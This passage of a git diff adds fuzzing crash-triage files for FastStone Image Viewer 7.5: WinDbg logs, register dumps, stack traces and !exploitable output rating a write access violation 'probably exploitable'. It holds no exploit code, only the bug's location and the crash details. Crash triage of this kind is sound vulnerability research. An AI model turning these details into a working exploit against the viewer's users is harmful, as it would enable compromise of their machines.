b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8315df2 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..7df190c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,172 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1BE0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1BE0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1be0.7fc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.72812e+020 1.64851e+016 5.01049e-016 1.18756e-005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0033e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0033e000 112b93a1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0033e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..7df190c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/WindowsDebugEngine_description.txt @@ -0,0 +1,172 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1BE0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1BE0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1be0.7fc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.72812e+020 1.64851e+016 5.01049e-016 1.18756e-005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0033e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0033e000 112b93a1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0033e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8315df2 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/19852/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a0e784e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..3baedd5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/2930/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,172 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image 